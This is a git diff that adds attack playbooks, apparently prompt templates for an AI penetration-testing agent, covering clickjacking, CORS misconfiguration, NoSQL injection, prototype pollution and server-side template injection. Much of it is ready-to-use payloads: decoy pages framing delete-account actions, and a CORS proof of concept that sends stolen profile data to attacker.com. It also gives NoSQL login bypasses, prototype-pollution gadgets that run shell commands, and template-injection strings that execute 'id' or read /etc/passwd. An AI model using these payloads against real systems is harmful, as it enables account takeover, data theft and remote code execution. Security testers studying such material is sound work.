diff --git a/strix/prompts/vulnerabilities/clickjacking.jinja b/strix/prompts/vulnerabilities/clickjacking.jinja new file mode 100644 index 00000000..8ad6a2eb --- /dev/null +++ b/strix/prompts/vulnerabilities/clickjacking.jinja @@ -0,0 +1,345 @@ + +CLICKJACKING (UI REDRESSING) + +Clickjacking tricks users into clicking hidden UI elements by overlaying transparent iframes on attacker-controlled content. Despite being considered "low severity," it enables OAuth token theft, one-click account takeover, and CSRF bypass when combined with other vulnerabilities. + + +- Web applications lacking X-Frame-Options or CSP frame-ancestors +- Single-page applications with state-changing actions +- OAuth authorization endpoints +- Payment confirmation pages +- Account settings (password change, email update, 2FA disable) +- Admin panels and privileged actions +- Social media interaction buttons (like, follow, share) + + + +1. Check for X-Frame-Options and CSP frame-ancestors headers +2. Attempt to iframe the target application +3. Identify high-value clickable actions (buttons, links) +4. Build PoC demonstrating realistic attack scenario +5. Test across browsers (header handling varies) +6. Consider multi-click and drag-and-drop variants + + + +- OAuth authorization "Allow" buttons +- "Delete Account" or "Disable 2FA" actions +- Payment confirmation buttons +- Admin privilege grant actions +- API key/token generation buttons +- Password/email change confirmations +- Social actions (follow, endorse, approve) +- One-click purchase buttons + + + + +Check response headers: +- X-Frame-Options: DENY (secure - blocks all framing) +- X-Frame-Options: SAMEORIGIN (secure - allows same origin only) +- X-Frame-Options: ALLOW-FROM uri (deprecated, limited browser support) +- Content-Security-Policy: frame-ancestors 'none' (secure) +- Content-Security-Policy: frame-ancestors 'self' (secure) +- Content-Security-Policy: frame-ancestors https://trusted.com (conditional) + +Missing headers = potentially vulnerable + + + +Basic iframe test: +```html +<iframe src="https://target.com/sensitive-action" width="500" height="500"></iframe> +``` + +If content loads, page is frameable. +If blocked, check error: +- "Refused to display in a frame" = X-Frame-Options working +- Blank frame = CSP frame-ancestors working +- Connection reset = JavaScript frame-busting (bypassable) + + + +JavaScript-based protections (often bypassable): +- if (top !== self) top.location = self.location +- if (parent.frames.length > 0) window.top.location = window.location +- window.onbeforeunload to detect navigation + +Bypass detection: +- sandbox="allow-scripts allow-forms" on iframe +- Double-framing to confuse parent checks +- History manipulation + + + + + +```html +<!DOCTYPE html> +<html> +<head> +<style> + #target { + position: absolute; + top: 0; + left: 0; + width: 100%; + height: 100%; + opacity: 0.0001; + z-index: 2; + } + #decoy { + position: absolute; + top: 100px; + left: 200px; + z-index: 1; + } +</style> +</head> +<body> +<button id="decoy">Click here to win a prize!</button> +<iframe id="target" src="https://target.com/delete-account"></iframe> +</body> +</html> +``` + + + +Position iframe so target button aligns with decoy: +```css +#target { + position: absolute; + top: -300px; /* Offset to align button */ + left: -150px; + clip: rect(300px, 350px, 350px, 150px); /* Show only button area */ + opacity: 0.0001; +} +``` + + + +Multi-step clickjacking: +1. First click enables a feature +2. Second click confirms action +3. Use animation/game to guide multiple clicks + +Drag-and-drop jacking: +- Use HTML5 drag events +- Victim drags from one iframe to another +- Text/data transferred contains malicious payload + + + +Likejacking with text fields: +1. Victim types in visible text field +2. Hidden iframe captures keystrokes +3. Input sent to attacker-controlled field + + + +Cursorjacking: +```css +body { cursor: url('fake-cursor.png'), auto; } +``` +- Hide real cursor with custom image +- Display fake cursor offset from real position +- Victim clicks where they think cursor is + + + + + +Target OAuth authorization page: +1. User is already authenticated to OAuth provider +2. Attacker frames authorization endpoint with pre-filled params +3. Victim clicks "Allow" thinking they're clicking something else +4. Attacker's app receives authorization code/token + +High-value OAuth targets: +- Authorization code grant flow +- Implicit grant "Allow" button +- Token refresh consent pages +- App permission grant screens + + + +If OAuth callback can be framed: +1. Frame callback URL +2. Extract token from URL fragment or page content +3. postMessage listener exploitation + + + + + +Sandbox attribute: +```html +<iframe sandbox="allow-scripts allow-forms" src="https://target.com"></iframe> +``` +- Blocks top-level navigation (frame-busting fails) +- Still allows scripts and form submission + +Double framing: +- Outer frame busts to inner frame +- Inner frame still contains target +- Some frame-busters only check immediate parent + +onBeforeUnload blocking: +```javascript +window.onbeforeunload = function() { return "Stay?"; } +``` + + + +X-Frame-Options bypass scenarios: +- Header not set on all pages (only homepage protected) +- ALLOW-FROM with attacker-controlled origin +- Proxy stripping headers +- CDN not forwarding headers + +CSP bypass: +- Wildcard domains: frame-ancestors *.example.com (register subdomain) +- Scheme mismatch: frame-ancestors http://example.com (use https) +- Report-only mode: CSP-Report-Only (not enforced) + + + +Pages without protection: +- Error pages +- Print/export views +- Embedded widgets +- PDF preview iframes +- Legacy endpoints +- Subdomains + + + + + +Clickjacking + XSS: +- Click to execute XSS payload +- Bypass XSS filters via UI interaction + +Clickjacking + CSRF: +- Frame anti-CSRF token page +- Click to submit token in form + +Clickjacking + OAuth: +- Steal authorization codes +- Force app authorization + + + +Chrome: +- Strict X-Frame-Options enforcement +- CSP frame-ancestors supported + +Firefox: +- Similar to Chrome +- Some legacy quirks + +Safari: +- Older versions have weaker enforcement +- iOS Safari considerations + +Edge: +- Modern Edge like Chrome +- Legacy Edge had differences + + + + +```html +<!DOCTYPE html> +<html> +<head> +<title>Claim Your Prize!</title> +<style> +body { + background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + font-family: sans-serif; +} +.container { + position: relative; + text-align: center; + color: white; +} +.decoy-button { + background: #00d4aa; + color: white; + padding: 20px 40px; + font-size: 24px; + border: none; + border-radius: 10px; + cursor: pointer; + position: relative; + z-index: 1; +} +#target-frame { + position: absolute; + top: 0; + left: 0; + width: 200px; + height: 60px; + opacity: 0.0001; + z-index: 2; + border: none; +} +</style> +</head> +<body> +<div class="container"> + <h1>Congratulations!</h1> + <p>You've been selected for a special prize!</p> + <div style="position: relative; display: inline-block;"> + <button class="decoy-button">Claim Prize</button> + <iframe id="target-frame" src="https://vulnerable.com/settings/delete-account"></iframe> + </div> +</div> +</body> +</html> +``` + + + +1. Confirm target page can be framed (no X-Frame-Options or CSP) +2. Demonstrate overlay positioning with visible iframe (opacity: 0.5) +3. Show realistic attack scenario with decoy content +4. Execute action (or simulate with reduced opacity to show button alignment) +5. Document browser(s) tested and behavior + + + +- X-Frame-Options: DENY or SAMEORIGIN set correctly +- CSP frame-ancestors 'none' or 'self' enforced +- Pages with no state-changing actions +- Public content meant to be embedded +- Additional confirmation steps (CAPTCHAs, re-authentication) + + + +- One-click account takeover (delete, disable 2FA) +- Unauthorized financial transactions +- OAuth token theft +- Social engineering amplification +- Privacy violations (camera/microphone access grants) +- Privilege escalation via tricked admin actions + + + +1. Check subdomains and legacy endpoints - often unprotected. +2. OAuth authorization pages are highest value - always test them. +3. Use sandbox attribute to bypass JavaScript frame-busters. +4. Multi-click attacks work better with games or reward mechanics. +5. Mobile browsers have different touch event handling - test separately. +6. Frame-ancestors CSP is more flexible than X-Frame-Options - check both. +7. Combine with social engineering for realistic attack scenarios. + + +Clickjacking is about user interaction, not code execution. The vulnerability is the ability to frame; the exploit is social engineering the click. Focus on high-value one-click actions and realistic decoy scenarios that would trick real users. + + diff --git a/strix/prompts/vulnerabilities/cors_misconfiguration.jinja b/strix/prompts/vulnerabilities/cors_misconfiguration.jinja new file mode 100644 index 00000000..ad9545b3 --- /dev/null +++ b/strix/prompts/vulnerabilities/cors_misconfiguration.jinja @@ -0,0 +1,251 @@ + +CORS MISCONFIGURATION + +CORS misconfigurations allow malicious websites to read authenticated responses from vulnerable APIs. Unlike CSRF (which forces actions), CORS attacks exfiltrate data. The combination of Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true is the critical vulnerability pattern. + + +- REST APIs returning Access-Control-Allow-Origin headers +- APIs with Access-Control-Allow-Credentials: true +- GraphQL endpoints with cross-origin access +- Single-page applications with separate API domains +- Mobile app backends with browser-accessible endpoints +- Internal APIs accidentally exposed to the internet + + + +1. Identify all endpoints returning CORS headers (Access-Control-Allow-Origin) +2. Test Origin header reflection by sending arbitrary origins +3. Check for credentials support (Access-Control-Allow-Credentials: true) +4. Probe null origin acceptance and subdomain wildcards +5. Verify sensitive data is returned in responses +6. Build proof-of-concept demonstrating cross-origin data theft + + + +- User profile and account information endpoints +- API key and secret management endpoints +- Financial data and transaction history +- Private messages and communications +- OAuth tokens and session information +- Admin and internal API endpoints +- GraphQL introspection and queries + + + + +- Send arbitrary Origin: https://evil.com and check if reflected in Access-Control-Allow-Origin +- Test with Origin: null (sandboxed iframes, data: URLs produce this) +- Try protocol variations: http:// vs https:// for same domain +- Test subdomain reflection: Origin: https://anything.target.com + + + +- Look for Access-Control-Allow-Credentials: true in responses +- Without credentials, attack limited to public data only +- With credentials, attacker can read authenticated user's data + + + +- Access-Control-Allow-Origin: * cannot be combined with credentials (browsers block it) +- But reflection to specific origins with credentials is the vulnerability +- Some servers incorrectly implement wildcards with credentials + + + +- OPTIONS requests may have different CORS policies than actual requests +- Test non-simple methods (PUT, DELETE) and custom headers +- Some protections only apply to preflight, not simple requests + + + + + +- Host malicious page that makes fetch() to vulnerable API +- Response readable if CORS allows attacker's origin with credentials +- Extract and exfiltrate data to attacker-controlled server + + + +Pattern 1 - Direct reflection: + Origin: https://evil.com → Access-Control-Allow-Origin: https://evil.com + +Pattern 2 - Null origin: + Origin: null → Access-Control-Allow-Origin: null + +Pattern 3 - Subdomain wildcard: + Origin: https://evil.target.com → Access-Control-Allow-Origin: https://evil.target.com + +Pattern 4 - Prefix/suffix matching: + Origin: https://target.com.evil.com → Access-Control-Allow-Origin: https://target.com.evil.com + Origin: https://eviltarget.com → Access-Control-Allow-Origin: https://eviltarget.com + +Pattern 5 - Protocol downgrade: + Origin: http://target.com → Access-Control-Allow-Origin: http://target.com (with https API) + + + +- Sandboxed iframe: <iframe sandbox="allow-scripts" src="data:text/html,..."> +- data: URLs: data:text/html,<script>fetch(...)</script> +- file:// protocol in some browsers +- Redirects from certain URL schemes + + + +- If *.target.com is allowed, find takeover-able subdomain +- Claim abandoned subdomain (dangling DNS, expired cloud resources) +- Host exploit on subdomain to bypass CORS + + + + + +- Check for Vary: Origin header (proper cache handling) +- Missing Vary header may allow cache poisoning +- CDN/proxy caching of CORS responses can extend attack surface + + + +- If responses cached without Vary: Origin, poison cache with attacker origin +- Subsequent users receive cached response with attacker's CORS headers +- Particularly dangerous with CDNs and reverse proxies + + + +- Access-Control-Max-Age caches preflight responses +- If preflight is cached with permissive CORS, subsequent requests bypass checks +- Test with long max-age values and observe caching behavior + + + +- Access-Control-Expose-Headers reveals additional response headers +- May leak sensitive headers: X-Request-Id, X-User-Id, custom auth headers +- Access-Control-Allow-Headers on preflight shows accepted headers + + + +- Introspection queries often have lax CORS +- Mutation execution with stolen credentials +- Batched queries for efficient data extraction + + + + + +- Dot not escaped: target.com matches targetXcom +- Missing anchor: ^target.com matches evil-target.com +- Missing end anchor: target.com$ matches target.com.evil.com +- Case sensitivity: Target.com vs target.com + + + +- Browser vs server Origin parsing discrepancies +- Ports in origin: https://target.com:443 vs https://target.com +- Trailing slashes and path components +- Unicode/punycode domain variations + + + +- chrome-extension:// origins (if whitelisted) +- moz-extension:// for Firefox +- Electron app:// origins +- Custom URI schemes registered by apps + + + +- HTTP request smuggling to bypass CORS preflight +- Cache desync attacks affecting CORS responses +- Multiple Host headers confusing origin validation + + + + + +- cors() middleware with origin callback vulnerabilities +- Dynamic origin validation using untrusted input +- Misconfigured credentials: true with wildcard + + + +- Flask-CORS with supports_credentials and regex origins +- Prefix matching instead of exact matching +- CORS_ORIGINS misconfiguration + + + +- @CrossOrigin annotation with allowedOrigins patterns +- CorsConfiguration with regex pattern matching +- Global CORS configuration in WebMvcConfigurer + + + +- django-cors-headers with CORS_ALLOWED_ORIGIN_REGEXES +- CORS_ALLOW_ALL_ORIGINS with CORS_ALLOW_CREDENTIALS +- CORS_ALLOWED_ORIGINS list bypasses + + + +- add_header with $http_origin reflection +- if statements with regex matching +- Missing Vary: Origin header + + + + +```html +<!DOCTYPE html> +<html> +<head><title>CORS PoC</title></head> +<body> +<script> +fetch('https://vulnerable-api.com/api/user/profile', { + credentials: 'include' +}) +.then(response => response.json()) +.then(data => { + // Exfiltrate to attacker server + fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify(data))); + document.body.innerHTML = '<pre>' + JSON.stringify(data, null, 2) + '</pre>'; +}); +</script> +</body> +</html> +``` + + + +1. Confirm Access-Control-Allow-Origin reflects attacker-controlled origin +2. Verify Access-Control-Allow-Credentials: true is present +3. Show sensitive data returned in the response body +4. Demonstrate working PoC hosted on attacker domain reading user data +5. Test across different browsers (Chrome, Firefox, Safari have subtle differences) + + + +- Wildcard (*) without credentials (public data only, not exploitable for auth'd data) +- CORS headers on truly public endpoints with no sensitive data +- Origin allowlist properly implemented with exact matching +- Responses contain only non-sensitive, intentionally public information + + + +- Theft of user personal information and private data +- API key and credential exposure +- Session hijacking via token theft +- Financial data exfiltration +- Compliance violations (GDPR, HIPAA, PCI-DSS) +- Chain with XSS for same-origin attacks when CORS alone insufficient + + + +1. Always test with credentials: 'include' - that's where the real vulnerability lies. +2. Check both GET and POST endpoints; CORS policies may differ. +3. Look for null origin acceptance - it's a common misconfiguration. +4. Test subdomain patterns; wildcards like *.example.com are often implemented poorly. +5. Combine with subdomain takeover for devastating chains. +6. Cache poisoning via CORS can affect all users, not just those who visit attacker page. +7. Internal APIs exposed to internet are often completely misconfigured. + + +CORS exploitation requires three conditions: origin reflection, credentials support, and sensitive data in response. Without all three, the vulnerability exists but may not be exploitable. Focus on authenticated API endpoints with valuable data. + + diff --git a/strix/prompts/vulnerabilities/nosql_injection.jinja b/strix/prompts/vulnerabilities/nosql_injection.jinja new file mode 100644 index 00000000..e6629172 --- /dev/null +++ b/strix/prompts/vulnerabilities/nosql_injection.jinja @@ -0,0 +1,202 @@ + +NOSQL INJECTION + +NoSQL injection exploits query operators and JSON structures in document databases. Unlike SQL injection, attacks target operator abuse ($gt, $ne, $regex, $where) and type juggling. Server-side JavaScript execution in MongoDB can lead to RCE. + + +- MongoDB, CouchDB, Redis, Cassandra, DynamoDB, Elasticsearch +- REST APIs accepting JSON with database query construction +- GraphQL resolvers building NoSQL queries from input +- Authentication endpoints using NoSQL for credential lookup +- Search and filter functionality with user-controlled operators + + + +1. Identify endpoints that accept JSON input and interact with NoSQL databases +2. Map query parameter names that might map to database fields (username, email, id, filter, query, search) +3. Test operator injection by replacing string values with objects containing operators +4. Probe for type confusion between strings, arrays, objects, and numbers +5. Attempt JavaScript injection in databases supporting server-side execution ($where, mapReduce) +6. Validate timing differences for blind injection scenarios + + + +- Authentication endpoints (login, password reset, token validation) +- User lookup by email/username/id +- Search and filter APIs +- Admin panels with query builders +- Export/reporting features with custom filters +- GraphQL mutations and queries with dynamic filters + + + + +- Replace string value with object: {"username": {"$ne": ""}} to bypass authentication +- Use $gt/$lt for numeric comparisons: {"age": {"$gt": 0}} +- Test $regex for pattern matching: {"email": {"$regex": ".*"}} +- Probe $in/$nin for array operations: {"role": {"$in": ["admin", "user"]}} +- Try $exists to check field presence: {"mfa_enabled": {"$exists": false}} + + + +- Convert strings to arrays: username[]=admin (may match first element or bypass checks) +- Send numbers where strings expected: {"user_id": 1} vs {"user_id": "1"} +- Use null values: {"token": null} to match documents with missing fields +- Test empty objects/arrays: {"filter": {}} or {"ids": []} + + + +- MongoDB $where clause: {"$where": "this.password.length > 0"} +- Sleep-based timing: {"$where": "sleep(5000) || true"} +- Data exfiltration: {"$where": "this.password.match(/^a/) ? sleep(5000) : true"} +- mapReduce abuse in older MongoDB versions + + + +- Boolean-based: different responses for {"$gt": "a"} vs {"$gt": "z"} +- Time-based: $where with sleep() or regex catastrophic backtracking +- Error-based: malformed operators may leak database type/version +- Out-of-band: $where with DNS/HTTP callbacks (if network access available) + + + + + +- Login bypass: {"username": "admin", "password": {"$ne": ""}} +- First user extraction: {"username": {"$gt": ""}, "password": {"$ne": ""}} +- Role escalation: {"username": "victim", "role": {"$ne": "user"}} +- Token bypass: {"reset_token": {"$regex": ".*"}} + + + +- Enumerate users: iterate with $regex prefixes (^a, ^b, ^c...) +- Extract field values character by character using $regex +- Dump collections via $where returning true for all documents +- Use $elemMatch to probe nested array structures + + + +- Combine operators: {"password": {"$ne": "", "$regex": "^admin"}} +- Logical operators: {"$or": [{"admin": true}, {"role": "superuser"}]} +- Negation chains: {"$and": [{"deleted": {"$ne": true}}, {"active": {"$ne": false}}]} + + + +- Pipeline injection in MongoDB aggregation: $lookup for cross-collection access +- $graphLookup for recursive relationship traversal +- $merge/$out to write query results to attacker-controlled collections + + + + + +- Operators: $eq, $ne, $gt, $lt, $gte, $lte, $in, $nin, $regex, $exists, $type, $where +- JavaScript execution: $where, $function (4.4+), mapReduce +- ObjectId manipulation: {"_id": {"$gt": ObjectId("000000000000000000000000")}} +- Projection injection: exclude/include fields by injecting projection operators + + + +- View injection via design document manipulation +- Mango query operators: $eq, $gt, $gte, $in, $lt, $lte, $ne, $nin, $exists, $type, $regex +- Selector injection in _find endpoint + + + +- Command injection via Lua scripts: EVAL with user input +- Key enumeration: KEYS pattern injection +- Data exfiltration via MIGRATE command + + + +- Condition expression injection in FilterExpression +- KeyConditionExpression manipulation +- ProjectionExpression abuse for field enumeration + + + +- Query DSL injection: bool, match, term, range queries +- Script injection in Painless scripting contexts +- _source filtering for data extraction + + + + + +- Encode operators: %24ne instead of $ne +- Unicode variations: use fullwidth $ ($) or other lookalikes +- Nested encoding: double URL encoding, mixed case +- Array parameter pollution: param[$ne]= in query strings + + + +- Split operators across parameters: combine server-side +- Use lesser-known operators: $elemMatch, $all, $size +- Exploit parsing differences between WAF and database driver +- JSON comments in lenient parsers: {"username": "admin"/* comment */} + + + +- PHP array injection: username[$ne]= becomes {"username": {"$ne": ""}} +- Express.js qs parser: nested objects via brackets +- Flask/Django parameter pollution with same-name parameters + + + + + +- Mongoose query sanitization bypasses +- Lean queries exposing raw documents +- Population injection for reference traversal +- Schema-less subdocument injection + + + +- BSON type confusion +- Raw query exposure in debug modes +- Aggregation pipeline injection + + + +- Array parameter injection via $_POST/$_GET +- Type juggling between PHP arrays and BSON documents +- Driver version differences in operator handling + + + + +1. Demonstrate operator injection changing query behavior (e.g., returning unauthorized data) +2. Show authentication bypass with crafted operator payload +3. Prove data extraction via blind injection (character-by-character) +4. If JavaScript execution available, demonstrate with timing payload +5. Provide request/response pairs showing vulnerable vs patched behavior + + + +- Input properly sanitized using allowlist of expected values +- Query parameters not used in database operations +- ORM/ODM with parameterized queries and type enforcement +- Operators stripped or escaped before query construction + + + +- Authentication bypass and unauthorized access +- Mass data extraction from document stores +- Privilege escalation via role/permission manipulation +- Remote code execution via server-side JavaScript ($where, mapReduce) +- Data manipulation and integrity violations + + + +1. Start with authentication endpoints - they're most likely to have operator injection. +2. Test both JSON body and query string parameters; frameworks parse them differently. +3. Use $regex with .* for existence checks, more reliable than $ne. +4. PHP applications are especially vulnerable due to array parameter parsing. +5. Check for MongoDB version; $where is disabled by default in newer versions. +6. Combine with IDOR for cross-user data access via operator manipulation. +7. Time-based blind injection works when boolean-based fails. + + +NoSQL injection is operator injection. The attack surface is any user input that becomes part of a query object. Focus on authentication flows, search functionality, and anywhere JSON input influences database queries. + + diff --git a/strix/prompts/vulnerabilities/prototype_pollution.jinja b/strix/prompts/vulnerabilities/prototype_pollution.jinja new file mode 100644 index 00000000..b5c9d80c --- /dev/null +++ b/strix/prompts/vulnerabilities/prototype_pollution.jinja @@ -0,0 +1,337 @@ + +PROTOTYPE POLLUTION + +Prototype pollution allows attackers to inject properties into JavaScript Object prototypes, affecting all objects in the application. This can lead to authentication bypass, RCE (via gadget chains), denial of service, and property injection across the entire application state. + + +- Node.js applications using object merge/clone/extend functions +- REST APIs accepting nested JSON objects +- GraphQL APIs with object input types +- Client-side JavaScript with URL parameter parsing +- Applications using vulnerable npm packages (lodash, jQuery.extend, deep-extend) +- Any endpoint that recursively processes user-controlled objects + + + +1. Identify endpoints accepting JSON objects or nested query parameters +2. Inject __proto__, constructor.prototype, or prototype payloads +3. Verify pollution by checking if new objects inherit injected properties +4. Map application behavior to find exploitable gadget chains +5. Escalate to RCE, authentication bypass, or privilege escalation + + + +- User settings/preferences update endpoints +- Configuration import/export features +- Object merge operations in API handlers +- Template rendering with user-controlled objects +- Query string parsing with nested object support +- WebSocket message handlers processing JSON +- GraphQL mutations with nested input types + + + + +JSON body injection: +{ + "__proto__": { + "polluted": "yes" + } +} + +Constructor prototype: +{ + "constructor": { + "prototype": { + "polluted": "yes" + } + } +} + +Nested path: +{ + "a": { + "__proto__": { + "polluted": "yes" + } + } +} + + + +URL parameter pollution: +?__proto__[polluted]=yes +?constructor[prototype][polluted]=yes +?a[__proto__][polluted]=yes + +Express.js qs parser: +?__proto__.polluted=yes +?constructor.prototype.polluted=yes + + + +Server-side verification (if you can see responses): +- Check if {}.polluted returns injected value +- Observe behavior changes in application logic + +Blind verification: +- Inject known gadget properties and observe side effects +- Use timing-based verification with known slow operations +- Trigger error conditions that reveal pollution + + + + + +Admin flag pollution: +{"__proto__": {"isAdmin": true}} +{"__proto__": {"role": "admin"}} +{"__proto__": {"authenticated": true}} + +JWT verification bypass: +{"__proto__": {"algorithm": "none"}} +{"__proto__": {"algorithms": ["none"]}} + +Session pollution: +{"__proto__": {"user": {"id": 1, "admin": true}}} + + + + +Pollute opts for EJS template RCE: +{"__proto__": { + "client": true, + "escapeFunction": "JSON.stringify; process.mainModule.require('child_process').execSync('id')" +}} + +Outputfunction gadget: +{"__proto__": { + "outputFunctionName": "x;process.mainModule.require('child_process').execSync('id');x" +}} + + + +{"__proto__": { + "block": { + "type": "Text", + "line": "process.mainModule.require('child_process').execSync('id')" + } +}} + + + +{"__proto__": { + "allowProtoMethodsByDefault": true, + "allowProtoPropertiesByDefault": true +}} +(Then inject malicious template helpers) + + + +Shell gadget for spawn/exec: +{"__proto__": { + "shell": true, + "NODE_OPTIONS": "--require /proc/self/environ" +}} + +Environment injection: +{"__proto__": { + "env": { + "NODE_OPTIONS": "--require /tmp/malicious.js" + } +}} + + + + +Hang with frozen prototype: +{"__proto__": {"__proto__": null}} + +Infinite loop in iteration: +{"__proto__": {"length": 1e10}} + +Memory exhaustion: +{"__proto__": {"0": {}, "1": {}, ... "1000000": {}}} + +toString/valueOf override: +{"__proto__": {"toString": {}}} +(Causes errors when object coerced to string) + + + +Default value pollution: +{"__proto__": {"defaultValue": "malicious"}} +{"__proto__": {"timeout": 999999}} + +Feature flag pollution: +{"__proto__": {"debugMode": true}} +{"__proto__": {"bypassRateLimit": true}} + +Template variable pollution: +{"__proto__": {"title": ""}} + + + + + +- lodash.merge() / _.merge() +- lodash.defaultsDeep() +- jQuery.extend(true, ...) +- deep-extend package +- node-extend package +- merge-deep package +- mixin-deep package +- deepen package +- set-value package +- dot-prop package (older versions) + + + +Recursive merge patterns: +function merge(target, source) { + for (let key in source) { + if (typeof source[key] === 'object') { + target[key] = merge(target[key] || {}, source[key]); + } else { + target[key] = source[key]; // Vulnerable! + } + } + return target; +} + +Object.assign is SAFE (shallow copy) +{...spread} is SAFE (shallow copy) +JSON.parse + JSON.stringify is SAFE (no prototype chain) + + + + + +Standard: +__proto__ + +Constructor chain: +constructor.prototype + +Unicode variations: +__pro\u0074o__ +\u005f\u005fproto\u005f\u005f + +Array notation: +["__proto__"] +["constructor"]["prototype"] + + + +Nested depth bypass: +{"a": {"b": {"__proto__": {"polluted": true}}}} + +Multiple pollution points: +{"__proto__": {"x": 1}, "constructor": {"prototype": {"y": 2}}} + +Key encoding: +{"__\x70roto__": {"polluted": true}} + +Prototype chain traversal: +Object.prototype via any object's __proto__.__proto__... + + + +- Split key across multiple requests (if state persists) +- Use legitimate-looking nested structures +- Exploit parsing differences between WAF and application +- Case variations where case-insensitive matching used + + + + + +Query string parsing (qs library): +?__proto__[polluted]=yes +Default extended: true enables nested object parsing + +Body parser: +JSON body with __proto__ key directly + +Middleware chain: +Pollution affects all subsequent middleware + + + +Similar to Express with koa-bodyparser +Query parsing with qs + + + +Default JSON parser may be vulnerable +ajv schema validation bypass via pollution + + + +DTO validation bypass via class-transformer +Pipe transformation vulnerabilities + + + + + +Prototype pollution on client can: +- Modify jQuery/lodash behavior +- Bypass CSP via gadgets +- Achieve XSS through template pollution +- Modify application state + + + +Vulnerable client-side parsers: +- deparam (jQuery) +- qs library +- query-string with nested support +- URLSearchParams (safe, no nesting) + + + +Electron applications: +Pollution can enable nodeIntegration, contextIsolation bypass +{"__proto__": {"nodeIntegration": true}} + + + + +1. Demonstrate property pollution persisting to new objects +2. Show behavioral change in application (auth bypass, feature unlock) +3. For RCE, execute command and capture output +4. Prove pollution source (which endpoint/parameter caused it) +5. Show payload that achieves impact with minimal pollution + + + +- Object.assign or spread operator (shallow copy, no prototype access) +- JSON.parse without further processing (safe, creates plain objects) +- Frozen or sealed prototypes preventing modification +- Explicit __proto__ key filtering in merge functions +- Schema validation rejecting __proto__ keys + + + +- Remote code execution via template/child_process gadgets +- Authentication and authorization bypass +- Privilege escalation +- Denial of service (application crash, infinite loops) +- Cross-user data pollution in shared state +- Security control bypass (rate limiting, validation) + + + +1. lodash.merge is the most common vulnerable function - check package.json first. +2. Query string pollution often works when JSON body is filtered. +3. Pollution persists for the process lifetime - affects all subsequent requests. +4. EJS is the easiest RCE gadget - look for it in dependencies. +5. Even client-side pollution can be severe in Electron apps. +6. Check for class-transformer in NestJS apps - it's often vulnerable. +7. Use constructor.prototype as alternative when __proto__ is blocked. + + +Prototype pollution is a logic vulnerability that depends on how the application uses objects. Finding pollution is step one; finding a gadget or behavioral impact is step two. Always map the application's object usage patterns to identify exploitable chains. + + diff --git a/strix/prompts/vulnerabilities/ssti.jinja b/strix/prompts/vulnerabilities/ssti.jinja new file mode 100644 index 00000000..2f26205c --- /dev/null +++ b/strix/prompts/vulnerabilities/ssti.jinja @@ -0,0 +1,330 @@ + +SERVER-SIDE TEMPLATE INJECTION (SSTI) + +SSTI occurs when user input is embedded into server-side templates without proper sanitization. Unlike XSS which executes in browsers, SSTI executes on the server, often leading directly to remote code execution. Template engines provide rich expression languages that attackers can abuse to escape the sandbox. + + +- Web applications using template engines (Jinja2, Twig, Freemarker, Velocity, Pebble, Thymeleaf, ERB, Handlebars, Mustache, Smarty) +- Email template systems with user-controlled content +- PDF/document generation with template placeholders +- CMS and marketing platforms with customizable templates +- Error pages with reflected user input +- Any feature allowing "personalization" with merge fields + + + +1. Identify input fields reflected in rendered output +2. Inject template syntax detection payloads to identify engine type +3. Determine template engine and version through error messages or behavior +4. Escalate from expression evaluation to object access +5. Traverse object hierarchy to reach dangerous classes/methods +6. Achieve code execution or sensitive data access + + + +- Custom email template editors +- Document/report generation features +- Theme/skin customization +- Error message templates with user input reflection +- Marketing landing page builders +- Preview functionality for templates +- Notification message customization +- PDF generation with user-controlled content + + + + +- {% raw %}{{7*7}}{% endraw %} - Returns 49 in Jinja2, Twig, and many others +- ${7*7} - Java EL, Freemarker +- #{7*7} - Thymeleaf, Ruby ERB +- {{7*'7'}} - Returns 7777777 in Jinja2 (string multiplication) +- ${7*'7'} - Throws error or returns 49 depending on engine +- <%= 7*7 %> - ERB (Ruby) +- {{constructor.constructor('return 7*7')()}} - JavaScript template engines + + + +{% raw %} +Jinja2/Twig differentiation: +- {{7*'7'}} → Jinja2 returns '7777777', Twig returns '49' + +Smarty detection: +- {$smarty.version} - Returns Smarty version +- {php}echo 'test';{/php} - PHP execution (older versions) + +Freemarker detection: +- ${.version} or ${.current_template_name} +- <#assign x=7*7>${x} + +Velocity detection: +- #set($x=7*7)$x +- $class.inspect("java.lang.Runtime") + +Thymeleaf detection: +- [[${7*7}]] or [(${7*7})] +- ${T(java.lang.Runtime)} +{% endraw %} + + + + + +{% raw %} +Basic RCE: +{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} + +Modern bypass (Python 3): +{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} + +Config access: +{{ config.items() }} +{{ config['SECRET_KEY'] }} + +Request context: +{{ request.environ }} +{{ request.application.__self__._get_data_for_json.__globals__ }} + +Lipsum trick: +{{ lipsum.__globals__['os'].popen('id').read() }} + +Cycler trick: +{{ cycler.__init__.__globals__.os.popen('id').read() }} +{% endraw %} + + + +{% raw %} +Basic execution: +{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} + +File read: +{{"/etc/passwd"|file_excerpt(1,30)}} + +System command: +{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} + +Twig 3.x bypass: +{{['id']|filter('system')}} +{{['cat /etc/passwd']|filter('exec')}} +{% endraw %} + + + +{% raw %} +Execute class: +<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} + +Object instantiation: +<#assign classloader=article.class.protectionDomain.classLoader> +<#assign owc=classloader.loadClass("freemarker.template.utility.ObjectConstructor")> +<#assign rt=owc.newInstance().newInstance("java.lang.Runtime")> + +Built-in bypass: +${.data_model.getClass().forName("java.lang.Runtime").getRuntime().exec("id")} +{% endraw %} + + + +{% raw %} +Runtime access: +#set($rt=$class.forName("java.lang.Runtime").getRuntime()) +#set($proc=$rt.exec("id")) +#set($str=$class.forName("java.util.Scanner")) +#set($is=$proc.getInputStream()) +$str.getConstructor($is.getClass()).newInstance($is).useDelimiter("\\A").next() + +Reflection chain: +$class.inspect("java.lang.Runtime").type.getRuntime().exec("id") +{% endraw %} + + + +{% raw %} +SpringEL execution: +${T(java.lang.Runtime).getRuntime().exec('id')} + +Pre-processing: +__${T(java.lang.Runtime).getRuntime().exec("id")}__::x + +URL-based: +/path?param=__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x + +Fragment injection: +~{::__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__} +{% endraw %} + + + 